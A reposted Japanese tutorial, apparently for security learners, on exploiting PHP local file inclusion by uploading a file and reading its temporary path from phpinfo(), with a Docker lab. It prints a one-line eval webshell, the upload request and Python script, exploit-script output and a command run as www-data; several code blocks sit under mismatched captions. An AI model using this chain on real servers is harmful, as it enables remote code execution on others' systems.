ホームページ  >  記事  >  バックエンド開発  >  PHP ローカル ファイルには脆弱性環境の構築と悪用が含まれています

PHP ローカル ファイルには脆弱性環境の構築と悪用が含まれています

WBOY
WBOYオリジナル
2016-06-20 12:34:381359ブラウズ

0x00 はじめに

PHP ローカル ファイルには、長い間、phpinfo に関する対応する記事が最初に提案されてきました。次の 2 つの記事を参照してください。悪用の原理は、php post を使用してファイルをアップロードして一時ファイルを生成し、phpinfo() で一時ファイルのパスと名前を読み取り、ローカルの脆弱性を含めて 1 文のバックドアを生成します。

このメソッドはローカルでのテストに成功しました。全員の学習を促進し、学習コストを削減するために、簡単にテストできるように Docker 環境が構築されています。構築された Docker を外部 VPS に配置し、github プロジェクト lfi_phpinfo の poc フォルダーにあるスクリプトを使用し、ローカルで実行しても、引き続き getshell を実行できます。これは、この方法が実行可能であり、高いネットワーク要件を必要としないことを示しています。

  • Docker Hub ミラー アドレス: janes/lfi_phpinfo

  • github プロジェクト アドレス: lfi_phpinfo

ソース コードは code ディレクトリに保存されており、docker を使用して再現できます。利用スクリプトは poc ディレクトリ

paper:

http://gynvael に保存されています。 coldwind.pl/download.php ?f=PHP_LFI_rfc1867_temporary_files.pdf

http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf

0x01 php アップロード

をサーバーに送信する php ファイル にファイル をアップロードするリクエストを送信すると、一時ファイルが生成されます。一時ファイルのパスと名前は phpinfo ページで直接確認できます。 。

  • ポストアップロードファイル

PHP post メソッド経由でファイルをアップロードすると、サーバーはファイルの内容を保存するための一時ファイルを作成します。

HTTP プロトコルでのファイル転送を容易にするために、フォームベースの HTML ファイル転送メソッドが指定されています。

アップロード フォームの属性が enctype="multipart/form-" であることを確認してください。データの場合は、POST を使用する必要があります。参照: php file-upload.post-method

PHP エンジンは、enctype="multipart/form-data" などのリクエストを次のように処理します。

  1. request Reach
  2. 一時ファイルを作成し、アップロードされたファイルの内容を書き込みます
  3. 名前やサイズなどの確認などの処理のために、対応する PHP スクリプトを呼び出します。
  4. 一時ファイルを削除します

PHP エンジンは、まずファイルの内容を一時ファイルに保存し、その後、一時ファイルを含む php + ランダムな文字で対応する操作を実行します。 path. , name

  • PHP には、ファイル名、タイプ、一時ファイル名、エラーコード、サイズなど、アップロードされたファイルの情報を保存するスーパーグローバル変数 $_FILES があります。
  • 0x02 phpinfo() を手動でテストして一時ファイルのパスを取得します

html フォーム

    file Upload.html

ブラウザアクセス、upload.html、アップロードファイル file.txt
#!html<!doctype html><html><body>    <form action="phpinfo.php" method="POST" enctype="multipart/form-data">    <h3> Test upload tmp file</h3>    <label for="file">Filename:</label>    <input type="file" name="file"/><br/>    <input type="submit" name="submit" value="Submit" /></form></body></html>
  • burp 次のように POST 情報を表示します
    #!php<?phpeval($_REQUEST["cmd"]);?>
  • ブラウザアクセス、phpinfo は次の情報を返します:
    #!bashPOST /LFI_phpinfo/phpinfo.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/LFI_phpinfo/upload.htmlConnection: closeContent-Type: multipart/form-data; boundary=---------------------------11008921013555437861019615112Content-Length: 368-----------------------------11008921013555437861019615112Content-Disposition: form-data; name="file"; filename="file.txt"Content-Type: text/plain<?phpeval($_REQUEST["cmd"]);?>-----------------------------11008921013555437861019615112Content-Disposition: form-data; name="submit"Submit-----------------------------11008921013555437861019615112--
  • tmp_name パスの取得
    #!php_REQUEST["submit"]      Submit_POST["submit"]     Submit_FILES["file"]      Array    (        [name] => file.txt        [type] => text/plain        [tmp_name] => /tmp/phpufdCHh        [error] => 0        [size] => 33    )
  • 0x03 Python スクリプトアップロードファイル

は結果の一部を返します
#!pythonimport requestshost = '127.0.0.1'url = 'http://{ip}/LFI_phpinfo/phpinfo.php'.format(ip=host)file_ = '/var/www/LFI_phpinfo/file.txt'response = requests.post(url, files={"name": open(file_, 'rb')})print(response.text)
  • 0x04 ローカル ビルド環境
    #!php<tr><td class="e">_FILES["name"]</td><td class="v"><pre class="brush:php;toolbar:false">Array(    [name] => file.txt    [type] =>     [tmp_name] => /tmp/php7EvBv3    [error] => 0    [size] => 33)

get Shell

  • firefox アクセス
    #!bash$ python lfi_phpinfo.py 127.0.0.1LFI with phpinfo()==============================INFO:__main__:Getting initial offset ...INFO:__main__:found [tmp_name] at 67801INFO:__main__:Got it! Shell created in /tmp/gINFO:__main__:Wowo! \m/INFO:__main__:Shutting down...
  • getshell が成功したことを示し、自由にプレイできます~~
    #!bashhttp://127.0.0.1/LFI_phpinfo/lfi.php?load=/tmp/gc&f=iduid=33(www-data) gid=33(www-data) groups=33(www-data)
  • 0x05 docker を使用して環境を構築します

docker の基本的な使用法。ここでは詳しく説明しません。自分で Google で調べてください。イメージ ソースを構築するには 2 つの方法があります。github lfi_phpinfo の Dockerfile を使用して自分で構築するか、janes/lfi_phpinfo

ミラー ソース

-- [php 1="公式ソース" 2="2="2="2="2="言語=":5.6-apache""""""][/php] /php 5
  • または
-- janes/lfi_phpinfo

テストを実行するための環境を構築します

github lfi_phpinfo のソース コードを取得し、 web ディレクトリに移動し、テスト用の環境の構築を開始します。実行するには 3 つの方法があります
方法 1 公式 php ソースを使用してテストを実行します

  1. 方法 2 ビルドされたイメージを使用しますjanes/ lfi_phpinfo はテストを実行します

    #!bashdocker run --rm -v code/:/var/www/html -p 80:80 php:5.6-apache
  2. 方法 3 docker-compose を使用します

    #!bashdocker pull "janes/lfi_phpinfo"docker run --rm -p "80:80" janes/lfi_phpinfo
  3. その後、Python スクリプト getshell を使用できます

    #!bash  docker-compose up
  4. 0x06 結論

PHPInfo を使用して LFI を実践するプロセスは、実際には記事を読むプロセスほどスムーズではありません。そのプロセス中に、いくつかの環境関連の問題が発生します。これらの問題を解決するにはエネルギーが必要です。これが、ネットワーク セキュリティ愛好家にとってより便利な学習環境を提供したいと考えた、Docker を使用したテスト環境のアイデアの源です。最後に、phpinfo を使用した LFI の調査に多大な支援を提供してくださった記事 [PHPInfo を使用した LFI ローカル テスト プロセス] の著者に感謝いたします。

#!bashpython lfi_phpinfo.py docker_host_ip

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。